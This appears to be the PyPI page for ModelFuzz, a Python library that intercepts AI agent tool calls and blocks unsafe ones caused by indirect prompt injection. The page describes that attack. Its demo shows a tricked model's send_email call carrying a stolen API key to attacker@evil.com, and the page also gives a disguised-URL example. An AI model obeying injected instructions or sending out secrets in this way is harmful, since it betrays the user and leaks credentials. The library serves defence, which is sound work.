Skip to main content

Runtime guardrails for AI agents.

Project description

ModelFuzz

CI License: MIT Python 3.10+ Code Style: Ruff

Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.


The Problem

LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.

The Solution

ModelFuzz intercepts the tool call at the execution layer, not the prompt layer — every argument is checked against your policies before the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.

Quickstart

from modelfuzz import shield_tool

@shield_tool
def send_email(to_address: str, subject: str, body: str) -> None:
    smtp.send(to_address, subject, body)

Works bare (@shield_tool) or called (@shield_tool()) — both wrap send_email identically. Any argument that trips a policy raises ModelFuzzBlockError before the function body runs.

The Demo

What it looks like: an agent gets prompt-injected into calling send_email with a stolen API key. ModelFuzz catches it before the email goes out.

--- SIMULATING TRICKED LLM ---
[🤖 LLM DECISION] The model was tricked by prompt injection!
[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}

[🛡️ MODEL FUZZ] Intercepting tool execution...

✅ MODEL FUZZ BLOCKED THE ATTACK!
   Reason: String contains sensitive keyword: 'secret'

How It Works

  • PolicyEngine — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables ((value) -> Violation | None), so writing your own is a one-function job.
  • @shield_tool decorator — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises ModelFuzzBlockError; the tool never executes.
  • Default Deny — allowlist rules like URLAllowList block anything not explicitly permitted: unknown domains, userinfo tricks (http://api.internal.com@evil.com), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.

Installation

pip install modelfuzz

Or with uv:

uv add modelfuzz

Contributing

Contributions are welcome. See CONTRIBUTING.md for development setup, testing, and pull-request guidelines.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

modelfuzz-0.2.0.tar.gz (53.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

modelfuzz-0.2.0-py3-none-any.whl (9.8 kB view details)

Uploaded Python 3

File details

Details for the file modelfuzz-0.2.0.tar.gz.

File metadata

  • Download URL: modelfuzz-0.2.0.tar.gz
  • Upload date:
  • Size: 53.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}

File hashes

Hashes for modelfuzz-0.2.0.tar.gz
Algorithm Hash digest
SHA256 582d587fb99842825662e185cee2e6f1ab4bae963556c3b7925ffdf28385f70d
MD5 2241d04e6e8c4b75a607dfc513a02d30
BLAKE2b-256 423c2f11460637e2fb43887bc2fa71ace0b7515a734ba0ab0e604f093b7c0829

See more details on using hashes here.

File details

Details for the file modelfuzz-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: modelfuzz-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 9.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}

File hashes

Hashes for modelfuzz-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 847380a3fea2534bf1607c76dac95a2bbf69e8f7f2d39bc9f367bab57b6d9534
MD5 c849f09b6fdf9cb19fd18ec81013f336
BLAKE2b-256 53e54550e6eb882b8a454723871fc22af72b0de485200a3454806d12bba286a5

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page